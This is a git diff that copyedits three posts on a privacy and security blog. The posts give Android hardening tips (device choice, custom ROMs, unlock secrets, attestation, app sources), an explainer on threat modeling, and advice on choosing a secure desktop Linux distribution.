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54
content/posts/android/Android Tips.md
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@ -20,9 +20,9 @@ When purchasing a device, you should buy one as new as possible. The software an
### Phones to Avoid ### Phones to Avoid
Avoid buying the Fairphone 4, which only has just over 2 years of full security updates since its release date despite them advertising 6 years of support. This is because the System on a Chip they use (Snapdragon 750G) only has 3 years of support from Qualcomm, and the SoC was already old when the phone came out. This is not to mention, the Fairphone 4 [uses the Android Verified Boot Test Key as their OEM keys](https://forum.fairphone.com/t/bootloader-avb-keys-used-in-roms-for-fairphone-3-4/83448/11), effectively making Verified Boot useless. In general, you should check for how long the SoC a phone uses is supported for and not blindly trust the phone manufacturer's claims. Avoid buying the Fairphone 4, which only has just over 2 years of full security updates since its release date despite them advertising 6 years of support. This is because the System on a Chip they use (Snapdragon 750G) only has 3 years of support from Qualcomm, and the SoC was already old when the phone came out. This is not to mention, the Fairphone 4 [uses the Android Verified Boot Test Key as their OEM keys](https://forum.fairphone.com/t/bootloader-avb-keys-used-in-roms-for-fairphone-3-4/83448/11), effectively making Verified Boot useless. In general, you should check for how long the SoC a phone uses is supported for and not blindly trust the phone manufacturer's claims.
You should also avoid buying the /e/ OS phones (sometimes branded as the Murena phones). /e/ OS in itself extremely insecure, not supporting verified boot, shipping userdebug build, [shipping months old version of Chromium, bundling years old version Orbot into their operating system then marketing it as "Advanced Privacy"](https://divestos.org/misc/e.txt), etc. They have recently also had an incident where their cloud service mishandled session keys and give users access to each other's files, then proceeded to [mislead the users that the server cannot see their files](https://community.e.foundation/t/service-announcement-26-may/41252/30) despite there being no end-to-end encryption. You should also avoid buying phones preloaded with /e/ OS (sometimes branded as the Murena phones). /e/ OS in itself is extremely insecure, engaging in security bad practices that include, but are not limited to, not supporting verified boot; shipping userdebug build; [shipping months-old version of Chromium; and bundling years-old version of Orbot into their operating system, then marketing it as "Advanced Privacy"](https://divestos.org/misc/e.txt). There was also a recent incident where their cloud service mishandled session keys and gave users access to other's files, then proceeded to [mislead users that the server cannot see their files](https://community.e.foundation/t/service-announcement-26-may/41252/30), despite there being no end-to-end encryption.
You should also be very wary of low quality privacy branded phones like the Freedom Phone, BraX2 Phone, Volta Phone, and the like. These are cheap Chinese phones with the [Mediatek Helio P60](https://i.mediatek.com/p60) from 2018, which has already reached end-of-life or is near end-of-life. Needless to say, you should also avoid any vendor who claims they are Zero-day proof like this: You should also be very wary of low quality privacy branded phones like the Freedom Phone, BraX2 Phone, Volta Phone, and the like. These are cheap Chinese phones with the [Mediatek Helio P60](https://i.mediatek.com/p60) from 2018, which has already reached or is near end-of-life. Needless to say, you should also avoid any vendor who claims they are Zero-day proof like this:
![Volta phone](/images/volta-phone.png) ![Volta phone](/images/volta-phone.png)
@ -30,15 +30,15 @@ You should also be very wary of low quality privacy branded phones like the Free
![GrapheneOS Aurora](/images/grapheneos-aurora.jpg) ![GrapheneOS Aurora](/images/grapheneos-aurora.jpg)
In certain cases, installing a custom Android-based operating system can help increase your privacy and security. This is rather tricky; however, as the vast majority of these operating systems (a.k.a. "custom ROMs") do exactly the opposite - breaking the Android security model, ruining your security while providing no or dubious privacy benefits. In certain cases, installing a custom Android-based operating system can help increase your privacy and security. This is rather tricky, however, as the vast majority of these operating systems (a.k.a. "custom ROMs") do exactly the opposite: break the Android security model, thereby ruining your security while providing no or dubious privacy benefits.
I have written a detailed post on selecting your Android-based operating system, which you can find [here](/posts/os/choosing-your-android-based-operating-system). I have written a detailed post on selecting your Android-based operating system, which you can find [here](/posts/android/choosing-your-android-based-operating-system).
**TLDR**: If you are using a modern Pixel, use [GrapheneOS](https://grapheneos.org). If you are on a device supported by [DivestOS](https://divestos.org), use DivestOS. Otherwise, stick to your stock operating system. Do not blindly use an OS just because it is advertised as "degoogled". **TLDR**: If you are using a modern Pixel, install [GrapheneOS](https://grapheneos.org). If you are using a device supported by [DivestOS](https://divestos.org), install DivestOS. Otherwise, stick to your stock operating system. Do not blindly use an OS just because it is advertised as "degoogled".
## Use New Android Versions ## Use New Android Versions
It's important to not use an [end-of-life](https://endoflife.date/android) version of Android. Newer versions of Android not only receive security updates for the operating system but also important privacy enhancing updates too. For example, [prior to Android 10](https://developer.android.com/about/versions/10/privacy/changes), any apps with the [`READ_PHONE_STATE`](https://developer.android.com/reference/android/Manifest.permission#READ_PHONE_STATE) permission could access sensitive and unique serial numbers of your phone such as [IMEI](https://en.wikipedia.org/wiki/International_Mobile_Equipment_Identity), [MEID](https://en.wikipedia.org/wiki/Mobile_equipment_identifier), your SIM card's [IMSI](https://en.wikipedia.org/wiki/International_mobile_subscriber_identity), whereas now they must be system apps to do so. System apps are only provided by the OEM or Android distribution. It's important to not use an [end-of-life](https://endoflife.date/android) version of Android. Newer versions of Android receive not only security updates for the operating system but also important privacy enhancing updates too. For example, [prior to Android 10](https://developer.android.com/about/versions/10/privacy/changes), any apps with the [`READ_PHONE_STATE`](https://developer.android.com/reference/android/Manifest.permission#READ_PHONE_STATE) permission could access sensitive and unique serial numbers of your phone such as [IMEI](https://en.wikipedia.org/wiki/International_Mobile_Equipment_Identity), [MEID](https://en.wikipedia.org/wiki/Mobile_equipment_identifier), your SIM card's [IMSI](https://en.wikipedia.org/wiki/International_mobile_subscriber_identity), whereas now they must be system apps to do so. System apps are only provided by the OEM or Android distribution.
## Do Not Root Your Phone ## Do Not Root Your Phone
@ -48,7 +48,7 @@ It's important to not use an [end-of-life](https://endoflife.date/android) versi
On Android, the phone unlock (Password, Pin, Pattern) is used to protect the encryption key for your device. Thus, it is vital that your unlock secret is secure and can withstand Bruteforce attacks. On Android, the phone unlock (Password, Pin, Pattern) is used to protect the encryption key for your device. Thus, it is vital that your unlock secret is secure and can withstand Bruteforce attacks.
Pattern unlock is extremely insecure and should be avoided at all cost. This is discussed in detail in the [Cracking Android Pattern Lock in Five Attempts](/researches/Cracking-Android-Pattern-Lock-in-Five-Attempts.pdf) research paper. Pattern unlock is extremely insecure and should be avoided at all costs. This is discussed in detail in the [Cracking Android Pattern Lock in Five Attempts](/researches/Cracking-Android-Pattern-Lock-in-Five-Attempts.pdf) research paper.
If you trust the hardware enforced rate limiting features (typically done by the [Secure Element](https://en.wikipedia.org/wiki/Secure_cryptoprocessor) or [Trusted Execution Environment](https://en.wikipedia.org/wiki/Trusted_execution_environment)) of your device, a 8+ digit PIN may be sufficient. If you trust the hardware enforced rate limiting features (typically done by the [Secure Element](https://en.wikipedia.org/wiki/Secure_cryptoprocessor) or [Trusted Execution Environment](https://en.wikipedia.org/wiki/Trusted_execution_environment)) of your device, a 8+ digit PIN may be sufficient.
@ -58,11 +58,11 @@ Ideally, you should use a randomly generated passphrase of 8&nbsp;words or longe
[Auditor](https://github.com/GrapheneOS/Auditor) provides attestation for GrapheneOS phones and the stock operating systems on [a number of devices](https://attestation.app/about). It uses hardware security features to make sure that the firmware and operating system have not been downgraded or tampered with. [Auditor](https://github.com/GrapheneOS/Auditor) provides attestation for GrapheneOS phones and the stock operating systems on [a number of devices](https://attestation.app/about). It uses hardware security features to make sure that the firmware and operating system have not been downgraded or tampered with.
Attestation can be done [locally](https://grapheneos.org/install/web#verifying-installation) by pairing with another Android 8+ device or remotely using [the remote attestation service](https://attestation.app/about). To make sure that your hardware and operating system is genuine, perform local attestation immediately after the device has been setup and prior to any internet connection. Attestation can be done [locally](https://grapheneos.org/install/web#verifying-installation) by pairing with another Android 8+ device or remotely using [the remote attestation service](https://attestation.app/tutorial#scheduled-remote-verification). To make sure that your hardware and operating system is genuine, perform local attestation immediately after the device has been set up and before connecting to the internet.
## Use Global Toggles ## Use Global Toggles
Modern Android devices have global toggles for disabling Bluetooth and location services. Android 12 introduced toggles for the camera and microphone. When not in use, you should disable these features. Apps cannot use disabled features (even if granted individual permission) until re-enabled. Modern Android devices have global toggles for disabling Bluetooth and location services. Android 12 introduced toggles for the camera and microphone. When not in use, you should disable these features. Apps cannot use disabled features (even if granted individual permissions) until re-enabled.
## Manage Android Permissions ## Manage Android Permissions
@ -80,9 +80,9 @@ Connectivity checks on Android [do not go through the VPN tunnel](https://mullva
On GrapheneOS, connectivity checks by default are done with GrapheneOS's own servers, instead of with Google ones. A network observer on your ISP’s network can see that you are using a GrapheneOS device. If you are using a VPN and want to appear like a regular Android device to your ISP, go to **Settings** → **Network & internet** → **Internet connectivity check** and select **Standard (Google)** instead. Note that this will not stop a determined adversarial ISP from finding out you are not using stock OS [through your DNS fallback](https://grapheneos.org/faq#default-dns). On GrapheneOS, connectivity checks by default are done with GrapheneOS's own servers, instead of with Google ones. A network observer on your ISP’s network can see that you are using a GrapheneOS device. If you are using a VPN and want to appear like a regular Android device to your ISP, go to **Settings** → **Network & internet** → **Internet connectivity check** and select **Standard (Google)** instead. Note that this will not stop a determined adversarial ISP from finding out you are not using stock OS [through your DNS fallback](https://grapheneos.org/faq#default-dns).
If you want to, you can disable connectivity check altogether. Note that this will stop captive portal from working. If you want to, you can disable connectivity check altogether. Note that this will stop captive portals from working.
- On GrapheneOS and DivestOS, go to **Settings** → **Network & internet** → **Internet connectivity check** and select **Disabled** - On GrapheneOS and DivestOS, go to **Settings** → **Network & internet** → **Internet connectivity check** and select **Disabled**.
- On other Android-based operating systems, you can [disable captive portal via ADB](https://gitlab.com/CalyxOS/calyxos/-/issues/1226#note_1130393164). - On other Android-based operating systems, you can [disable captive portal via ADB](https://gitlab.com/CalyxOS/calyxos/-/issues/1226#note_1130393164).
To disable: To disable:
@ -136,9 +136,9 @@ This method is generally less secure than a secondary user profile; however, it
## Baseband Modem Attack Surface Reduction ## Baseband Modem Attack Surface Reduction
By default, your baseband modem will typically set to support just about every generation of mobile cellular technology, from 2G to 5G. This gives a large attack surface. By default, your baseband modem will typically be set to support just about every generation of mobile cellular technology, from 2G to 5G. This exposes a large attack surface.
You can reduce this attack surface by limiting the baseband modem to just using the generation that in needs. In most cases, this would be 4G/LTE. You can reduce this attack surface by limiting the baseband modem to using just the generation that it needs. In most cases, this would be 4G/LTE.
GrapheneOS has the LTE only mode exposed in settings. You can set this by going to **Settings** → **Internet** → **Your carrier name** → **Preferred network type** → **LTE Only**. GrapheneOS has the LTE only mode exposed in settings. You can set this by going to **Settings** → **Internet** → **Your carrier name** → **Preferred network type** → **LTE Only**.
@ -168,7 +168,7 @@ GrapheneOS's app store is available on [GitHub](https://github.com/GrapheneOS/Ap
### Aurora Store ### Aurora Store
The [Aurora Store](https://auroraoss.com/download/AuroraStore/) is a proxy for the Google Play Store. It is great for privacy in the sense that it automatically gives you a disposable account to download apps, and it works on Android-based distributions that do not support Google Play Services. That being said, it lacks security features like certificate pinning and does not support Play Asset Delivery. The [Aurora Store](https://auroraoss.com/downloads/AuroraStore/) is a proxy for the Google Play Store. It is great for privacy in the sense that it automatically gives you a disposable account to download apps, and it works on Android-based distributions that do not support Google Play Services. That being said, it lacks security features like certificate pinning and does not support Play Asset Delivery.
My recommendation is to stick with the Google Play Store unless your threat model calls for not logging into Google Services at all. My recommendation is to stick with the Google Play Store unless your threat model calls for not logging into Google Services at all.
@ -180,7 +180,7 @@ I do not recommend that you use F-Droid at all unless you have no other choice t
### GitHub ### GitHub
You can also obtain your apps directly from their GitHub repositories. In most cases, there would be a pre-built APK for you to download. You can verify the signature of the downloaded using apksigner: You can also obtain your apps directly from their GitHub repositories. In most cases, there would be a pre-built APK for you to download. You can verify the signature of the downloaded using `apksigner`:
- Install [Android Studio](https://developer.android.com/studio) which includes `apksigner`. On macOS, `apksigner` can be found at `~/Library/Android/sdk/build-tools/<version>/apksigner`. - Install [Android Studio](https://developer.android.com/studio) which includes `apksigner`. On macOS, `apksigner` can be found at `~/Library/Android/sdk/build-tools/<version>/apksigner`.
- Run `apksigner verify --print-certs --verbose myCoolApp.apk` to verify the certificate of the apk. - Run `apksigner verify --print-certs --verbose myCoolApp.apk` to verify the certificate of the apk.
@ -193,11 +193,11 @@ The first strategy is to add the atom feed of the application's release page to
The second strategy is to use the [IzzyOnDroid](https://apt.izzysoft.de/fdroid/) F-Droid repository with a modern F-Droid client like [NeoStore](https://github.com/NeoApplications/Neo-Store), as mentioned [above](#f-droid). The IzzyOnDroid repository pulls new releases from various GitHub repositories to their server, which can then be automatically downloaded and installed by NeoStore. The downside of this strategy is that not every application on GitHub is on IzzyOnDroid, and sometimes IzzyOnDroid fails to pull a new release, resulting in you not getting any updates at all. The second strategy is to use the [IzzyOnDroid](https://apt.izzysoft.de/fdroid/) F-Droid repository with a modern F-Droid client like [NeoStore](https://github.com/NeoApplications/Neo-Store), as mentioned [above](#f-droid). The IzzyOnDroid repository pulls new releases from various GitHub repositories to their server, which can then be automatically downloaded and installed by NeoStore. The downside of this strategy is that not every application on GitHub is on IzzyOnDroid, and sometimes IzzyOnDroid fails to pull a new release, resulting in you not getting any updates at all.
It should be noted that since Android has automatic signature checking for existing applications on the system, you only need to manually check the signature of the apk the first time you install an application. If you do use IzzyOnDroid to update the applications, you will need to manually confirm the first update of an application to authorize the NeoStore as the installation source. After that, future updates will be seamless. It should be noted that since Android has automatic signature checking for existing applications on the system; that is, you only need to manually check the signature of the apk the first time you install an application. If you do use IzzyOnDroid to update applications, you will need to manually confirm the first update of an application to authorize the NeoStore as the installation source. After that, future updates will be seamless.
## Google ## Google
If you are using a device with Google services, either your stock operating system or an operating system that safely sandboxes Google Play Services like GrapheneOS, there are a number of additional changes you can make to improve your privacy. If you are using a device with Google services, either with the stock operating system or an operating system that safely sandboxes Google Play Services like GrapheneOS, there are a number of additional changes you can make to improve your privacy.
### Enroll in the Advanced Protection Program ### Enroll in the Advanced Protection Program
@ -207,7 +207,7 @@ If you have a Google account we suggest enrolling in the [Advanced Protection Pr
The Advanced Protection Program provides enhanced threat monitoring and enables: The Advanced Protection Program provides enhanced threat monitoring and enables:
- Stricter two factor authentication; e.g. that [FIDO2](/posts/knowledge/multi-factor-authentication/#fido2-fast-identity-online) **must** be used and disallows the use of [SMS OTP](/posts/knowledge/multi-factor-authentication/#fido2-fast-identity-online), [TOTP](/posts/knowledge/multi-factor-authentication/#time-based-one-time-password-totp) and [OAuth](https://en.wikipedia.org/wiki/OAuth) - Stricter two factor authentication; e.g. that [FIDO2](/posts/knowledge/multi-factor-authentication/#fido2-fast-identity-online) **must** be used and disallows the use of [SMS OTP](/posts/knowledge/multi-factor-authentication/#email-and-sms-mfa), [TOTP](/posts/knowledge/multi-factor-authentication/#time-based-one-time-password-totp) and [OAuth](https://en.wikipedia.org/wiki/OAuth)
- Only Google and verified third-party apps can access account data - Only Google and verified third-party apps can access account data
- Scanning of incoming emails on Gmail accounts for [phishing](https://en.wikipedia.org/wiki/Phishing#Email_phishing) attempts - Scanning of incoming emails on Gmail accounts for [phishing](https://en.wikipedia.org/wiki/Phishing#Email_phishing) attempts
- Stricter [safe browser scanning](https://www.google.com/chrome/privacy/whitepaper.html#malware) with Google Chrome - Stricter [safe browser scanning](https://www.google.com/chrome/privacy/whitepaper.html#malware) with Google Chrome
@ -223,7 +223,7 @@ The Advanced Protection Program provides enhanced threat monitoring and enables:
In the past, Android security updates had to be shipped by the operating system vendor. Android has become more modular beginning with [Android 10](https://www.android.com/android-10/), and Google [can push security updates](https://blog.google/products/android-enterprise/android-10-security/) for **some** system components via the privileged Play Services. In the past, Android security updates had to be shipped by the operating system vendor. Android has become more modular beginning with [Android 10](https://www.android.com/android-10/), and Google [can push security updates](https://blog.google/products/android-enterprise/android-10-security/) for **some** system components via the privileged Play Services.
If you have an EOL device shipped with Android 10 or above (shipped beginning 2020), you may better off sticking with the stock OS in the short term as opposed to running an insecure alternative operating system. This will allow you to receive **some** security fixes from Google, while not violating the Android security model and increasing your attack surface. You should still upgrade to a supported device as soon as possible. If you have an EOL device shipped with Android 10 or above (shipped beginning 2020), you may be better off sticking with the stock OS in the short term as opposed to running an insecure alternative operating system. This will allow you to receive **some** security fixes from Google, while not violating the Android security model and increasing your attack surface. You should still upgrade to a supported device as soon as possible.
### Disable Advertising ID ### Disable Advertising ID
@ -231,14 +231,14 @@ All devices with Google Play Services installed automatically generate an [adver
On Android distributions with [Sandboxed Google Play](https://grapheneos.org/usage#sandboxed-google-play), go to **Settings** → **Apps** → **Sandboxed Google Play** → **Google Settings** → **Ads**, and select *Delete advertising ID*. On Android distributions with [Sandboxed Google Play](https://grapheneos.org/usage#sandboxed-google-play), go to **Settings** → **Apps** → **Sandboxed Google Play** → **Google Settings** → **Ads**, and select *Delete advertising ID*.
On Android distributions with privileged Google Play Services (such as stock OSes), the setting may be in one of several locations. Check On Android distributions with privileged Google Play Services (such as stock OSes), the setting may be in one of several locations:
- **Settings** → **Google** → **Ads** - **Settings** → **Google** → **Ads**
- **Settings** → **Privacy** → **Ads** - **Settings** → **Privacy** → **Ads**
![Ads id](/images/ads-id.png) ![Ads id](/images/ads-id.png)
You will either be given the option to delete your advertising ID or to *Opt out of interest-based ads*, this varies between OEM distributions of Android. If presented with the option to delete the advertising ID that is preferred. If not, then make sure to opt out and reset your advertising ID. You will be given the option to either delete your advertising ID or *Opt out of interest-based ads* --- this varies between OEM distributions of Android. If presented with the option to delete the advertising ID, choosing that is preferred. If not, then make sure to opt out and reset your advertising ID.
### Google Messages ### Google Messages
@ -246,19 +246,19 @@ Google is currently pushing for the adoption of [RCS with end to end encryption]
If you are on an OS with Play Services installed, I highly recommend that you use Google Messages as the SMS app to get opportunistic end to end encryption with your contacts. It works fairly well on GrapheneOS with Sandboxed Play Services, too. If you are on an OS with Play Services installed, I highly recommend that you use Google Messages as the SMS app to get opportunistic end to end encryption with your contacts. It works fairly well on GrapheneOS with Sandboxed Play Services, too.
You can disable telemetry in Google Messages by going to **⋮** → **Settings** → **General** → **Help Improve Messages** and toggling it off. There are also some other configurations in **⋮** → **Settings** → **General** → **Chat features** that you might want to go over such as sending typing indicator or read receipt. You can disable telemetry in Google Messages by tapping the profile in the top right → **Messages settings** → **Help Improve Messages** and toggling it off. There are also some other configurations in **Messages settings** → **RCS chats** that you might want to go over, such as **Show typing indicators** or **Send read receipts**.
If you have trouble connecting to RCS, try disabling your VPN and the VPN killswitch first, then reconnect to RCS. Once you have connected to the server, you can re-enable your VPN and the killswitch and it should work just fine across reboots. I am not sure what is causing this issue, but it might be related to [this bug](https://issuetracker.google.com/issues/189577131). If you have trouble connecting to RCS, try disabling your VPN and the VPN killswitch first, then reconnect to RCS. Once you have connected to the server, you can re-enable your VPN and the killswitch, and it should work just fine across reboots. I am not sure what is causing this issue, but it might be related to [this bug](https://issuetracker.google.com/issues/189577131).
### Google Fi ### Google Fi
Google Fi provides [opportunistic end&#8209;to&#8209;end encryption](https://fi.google.com/about/end-to-end-encrypted-calls) for phone calls between Fi users on Android and [includes a VPN service](https://support.google.com/fi/answer/9040000). Fi also implements a unique privacy&#8209;bolstering [virtual carrier network](https://www.gstatic.com/fi/wormhole/whitepaper-a00cc4732620f382da5b7aac2bcb6905f970ba6b.pdf) architecture on supported devices, but it is [temporarily disabled](https://support.google.com/fi/answer/9040000). Google Fi provides [opportunistic end&#8209;to&#8209;end encryption](https://fi.google.com/about/end-to-end-encrypted-calls) for phone calls between Fi users on Android and [includes a VPN service](https://support.google.com/fi/answer/9040000). Fi also implements a unique privacy&#8209;bolstering [virtual carrier network](https://www.gstatic.com/fi/wormhole/whitepaper-a00cc4732620f382da5b7aac2bcb6905f970ba6b.pdf) (VCN) architecture on supported devices, but it is [temporarily disabled](https://support.google.com/fi/answer/9040000).
This is not without its caveats: This is not without its caveats:
- Google Fi requires Play Services and the [Fi app](https://play.google.com/store/apps/details?id=com.google.android.apps.tycho&hl=en_US) to work properly. Without Play Services, all of the features mentioned above, along with visual voicemail will not work. SMS messages will have random strings added at the end of each of them. - Google Fi requires Play Services and the [Fi app](https://play.google.com/store/apps/details?id=com.google.android.apps.tycho&hl=en_US) to work properly. Without Play Services, all of the features mentioned above, along with visual voicemail, will not work. SMS messages will have random strings added at the end of each of them.
- The Google Fi app needs to be installed in the owner profile for SIM/eSIM activation. - The Google Fi app needs to be installed in the owner profile for SIM/eSIM activation.
- Google Fi Wi&#8209;Fi calling does not work behind a VPN with the killswitch enabled in the owner profile. - Google Fi Wi&#8209;Fi calling does not work behind a VPN with the killswitch enabled in the owner profile.
If you are living in the United States and use the stock operating system, I highly recommend using Google Fi as the carrier to take advantage of the end to end encrypted calls and Fi VPN. Pixel 4 and above, users will benefit the most from the VCN as mentioned. If you live in the United States and use the stock operating system, I highly recommend using Google Fi as your carrier to take advantage of the end to end encrypted calls and Fi VPN. People using a Pixel 4 and above will benefit the most from the VCN as mentioned.
If you are using GrapheneOS and do not mind installing Sandboxed Play Services, Fi is still a better option than to other providers thanks to Google's general good security practices and the fact that you can enroll in the Advanced Protection Program to have much better protection for your account. Some other provides do not even have multi-factor authentication support, and most will not let you enforce FIDO2 as the authentication method. If you use GrapheneOS and do not mind installing Sandboxed Play Services, Fi is still a better option than other providers thanks to Google's general good security practices and the fact that you can enroll in the Advanced Protection Program to have much better protection for your account. Some other providers do not even have multi-factor authentication support, and most will not let you enforce FIDO2 as the authentication method.

10
content/posts/knowledge/Threat Modeling.md
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@ -13,16 +13,16 @@ The first task a person should do when taking steps to protect their privacy and
To make a threat model, we must first define a threat. A common mistake made by people who are just getting into the privacy space is to define the threat as "big-tech companies." There is a fundamental problem with this definition: To make a threat model, we must first define a threat. A common mistake made by people who are just getting into the privacy space is to define the threat as "big-tech companies." There is a fundamental problem with this definition:
Why are we not trusting "big-tech companies," but then shift our trust to "small-tech companies"? What happens if those "small-tech companies" turn out to be malicious? What happens when our favorite "small-tech company" becomes successful and grow exponentially? **The proper way to define the threat here is the "service provider," not "big-tech."** Why are we not trusting "big-tech companies," but then shifting our trust to "small-tech companies"? What happens if those "small-tech companies" turn out to be malicious? What happens when our favorite "small-tech company" becomes successful and grows exponentially? **The proper way to define the threat here is the "service provider," not "big-tech."**
Generally, there are four primary threats a person would want to protect themselves from: Generally, there are four primary threats a person would want to protect themselves from:
- A service provider spying their users - A service provider spying their users
- Cross site/service tracking and data sharing, a.k.a. "mass surveillance" - Cross site/service tracking and data sharing, a.k.a. "mass surveillance"
- An app developer spying on users through their malicious software - An app developer spying on users through their malicious software
- A hacker trying to get into the users' computers - A hacker trying to get into users' computers
A typical person would have several of these threats in their threat model. Some of these threats may weigh more than others. For example, a software developer would have a hacker stealing their source code, signing keys and secrets as their primary threat, but beyond that they would also want privacy from the websites they visit and so on. Likewise, an average Joe may have their primary threat as mass surveillance and service providers, but beyond that they also need to have decent security to prevent a hacker from stealing their data. A typical person would have several of these threats in their threat model. Some of these threats may weigh more than others. For example, a software developer would have a hacker stealing their source code, signing keys, and secrets as their primary threat, but beyond that they would also want privacy from the websites they visit and so on. Likewise, an average Joe may have their primary threat as mass surveillance and service providers, but beyond that they also need to have decent security to prevent a hacker from stealing their data.
For whistleblowers, the threat model is much more extreme. Beyond what is mentioned above, they also need anonymity. Beyond just hiding what they do, what data they have, not getting hacked by hackers or governments, they also have to hide who they are. For whistleblowers, the threat model is much more extreme. Beyond what is mentioned above, they also need anonymity. Beyond just hiding what they do, what data they have, not getting hacked by hackers or governments, they also have to hide who they are.
@ -52,7 +52,7 @@ You can be tracked across websites and services using some form of identifiers.
Your goals should be to segregate your online identities from each other, to blend in with other people, and simply to avoid giving out identifying information to anyone as much as possible. Your goals should be to segregate your online identities from each other, to blend in with other people, and simply to avoid giving out identifying information to anyone as much as possible.
Instead of relying on privacy policies (which are promises that could be violated), try to obfuscate your information in such a way that it is very difficult for different providers to correlate data with each other and build a profile on you. This could come in the form of using encryption tools like Cryptomator prior to uploading your data to cloud services, using prepaid cards or cryptocurrency to protect your credit/debit card information, using a VPN to hide your IP address from websites and services on the internet, etc. The privacy policy should only be relied upon as a last resort, when you have exhausted all of your option for true privacy and need to put complete trust in your service provider. Instead of relying on privacy policies (which are promises that could be violated), try to obfuscate your information in such a way that it is very difficult for different providers to correlate data with each other and build a profile on you. This could come in the form of using encryption tools like Cryptomator prior to uploading your data to cloud services, using prepaid cards or cryptocurrency to protect your credit/debit card information, using a VPN to hide your IP address from websites and services on the internet, etc. A privacy policy should only be relied upon as a last resort, when you have exhausted all of your options for true privacy and need to put complete trust in your service provider.
Bear in mind that companies can hide their ownership or share your information with data brokers, even if they are not in the advertising business. Thus, it makes little sense to solely focus on the "ad-tech" industry as a threat in your threat model. Rather, it makes a lot more sense to protect yourself from service providers as a whole, and any kind of corporate surveillance threat that most people are concerned about will be thwarted along with the rest. Bear in mind that companies can hide their ownership or share your information with data brokers, even if they are not in the advertising business. Thus, it makes little sense to solely focus on the "ad-tech" industry as a threat in your threat model. Rather, it makes a lot more sense to protect yourself from service providers as a whole, and any kind of corporate surveillance threat that most people are concerned about will be thwarted along with the rest.
@ -95,4 +95,4 @@ As discussed, focusing solely on advertising networks and relying solely on priv
You should also keep in mind that [badness enumeration does not work, cannot work, has never worked, and will never work](/knowledge/badness-enumeration/). While things like ad blockers and antiviruses may help block the low hanging fruits, they can never fully protect you from the threat. On the other hand, they often increase your attack surface and are not worth the security sacrifice. At best, they are merely convenience tools and should not be thought of as part of a defense strategy. You should also keep in mind that [badness enumeration does not work, cannot work, has never worked, and will never work](/knowledge/badness-enumeration/). While things like ad blockers and antiviruses may help block the low hanging fruits, they can never fully protect you from the threat. On the other hand, they often increase your attack surface and are not worth the security sacrifice. At best, they are merely convenience tools and should not be thought of as part of a defense strategy.
Another thing to keep in mind is that open-source software is not automatically private or secure. Malicious code can be sneaked into the package by the developer of the project, contributors, library developers or the person who compiles the code. Beyond that, sometimes, a piece of open-source software may have worse security properties than its proprietary counterpart. An example of this would be traditional Linux desktops lacking verified boot, system integrity protection, or a full system access control for apps when compared to macOS. When doing threat modeling, it is vital that you evaluate the privacy and security properties of each piece of software being used, rather than just blindly trusting it because it is open-source. Another thing to keep in mind is that open-source software is not automatically private or secure. Malicious code can be sneaked into a package by the developer of a project, contributors, library developers or the person who compiles the code. Beyond that, sometimes, a piece of open-source software may have worse security properties than its proprietary counterpart. An example of this would be traditional Linux desktops lacking verified boot, system integrity protection, or a full system access control for apps when compared to macOS. When doing threat modeling, it is vital that you evaluate the privacy and security properties of each piece of software being used, rather than just blindly trusting it because it is open-source.

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content/posts/linux/Choosing Your Desktop Linux Distribution.md
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@ -17,7 +17,7 @@ In fact, in certain cases, there have been vulnerabilities introduced by Debian
![Upstream / Distros Gap](/images/upstream-distros-gap.png) ![Upstream / Distros Gap](/images/upstream-distros-gap.png)
Holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. [Richard Brown](https://rootco.de/aboutme/) has a presentation about this: The practice of holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. [Richard Brown](https://rootco.de/aboutme/) has a presentation about this:
{{< youtube id="i8c0mg_mS7U">}} {{< youtube id="i8c0mg_mS7U">}}
@ -25,7 +25,7 @@ Holding packages back and applying interim patches is generally not a good idea,
Traditionally, Linux distributions update by sequentially updating the desired packages. Traditional updates such as those used in Fedora, Arch Linux, and Debian based distributions can be less reliable if an error occurs while updating. Traditionally, Linux distributions update by sequentially updating the desired packages. Traditional updates such as those used in Fedora, Arch Linux, and Debian based distributions can be less reliable if an error occurs while updating.
Atomic updating distributions apply updates in full or not at all. Typically, transactional update systems are also atomic. Distributions that use atomic updates apply updates in full or not at all. Typically, transactional update systems are also atomic.
A transactional update system creates a snapshot that is made before and after an update is applied. If an update fails at any time (perhaps due to a power failure), the update can be easily rolled back to a “last known good state." A transactional update system creates a snapshot that is made before and after an update is applied. If an update fails at any time (perhaps due to a power failure), the update can be easily rolled back to a “last known good state."
@ -37,9 +37,9 @@ Even if you are worried about the stability of the system because of regularly u
## Arch-based Distributions ## Arch-based Distributions
Arch Linux has very up to date packages with minimal downstream patching. That being said, Arch based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result you have to stay aware with current trends and adopt technologies as they supersede older practices on your own. Arch Linux has very up-to-date packages with minimal downstream patching. That being said, Arch-based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result, you have to stay aware with current trends and adopt technologies as they supersede older practices on your own.
For a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for their system such as adopting a [mandatory access control](https://en.wikipedia.org/wiki/Mandatory_access_control) system, setting up [kernel module](https://en.wikipedia.org/wiki/Loadable_kernel_module#Security) blacklists, hardening boot parameters, manipulating [sysctl](https://en.wikipedia.org/wiki/Sysctl) parameters, and knowing what components they need such as [Polkit](https://en.wikipedia.org/wiki/Polkit). For a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for your system such as adopting a [mandatory access control](https://en.wikipedia.org/wiki/Mandatory_access_control) system, setting up [kernel module](https://en.wikipedia.org/wiki/Loadable_kernel_module#Security) blacklists, hardening boot parameters, manipulating [sysctl](https://en.wikipedia.org/wiki/Sysctl) parameters, and knowing what components you need such as [Polkit](https://en.wikipedia.org/wiki/Polkit).
If you are experienced with Linux and wish to use an Arch-based distribution, you should use Arch Linux proper, not any of its derivatives. Here are some examples of why that is the case: If you are experienced with Linux and wish to use an Arch-based distribution, you should use Arch Linux proper, not any of its derivatives. Here are some examples of why that is the case:
@ -58,19 +58,19 @@ There is often some confusion about “security-focused” distributions and “
**Do not** use the Linux-libre kernel, since it [removes security mitigations](https://www.phoronix.com/scan.php?page=news_item&px=GNU-Linux-Libre-5.7-Released) and [suppresses kernel warnings](https://news.ycombinator.com/item?id=29674846) about vulnerable microcode for ideological reasons. **Do not** use the Linux-libre kernel, since it [removes security mitigations](https://www.phoronix.com/scan.php?page=news_item&px=GNU-Linux-Libre-5.7-Released) and [suppresses kernel warnings](https://news.ycombinator.com/item?id=29674846) about vulnerable microcode for ideological reasons.
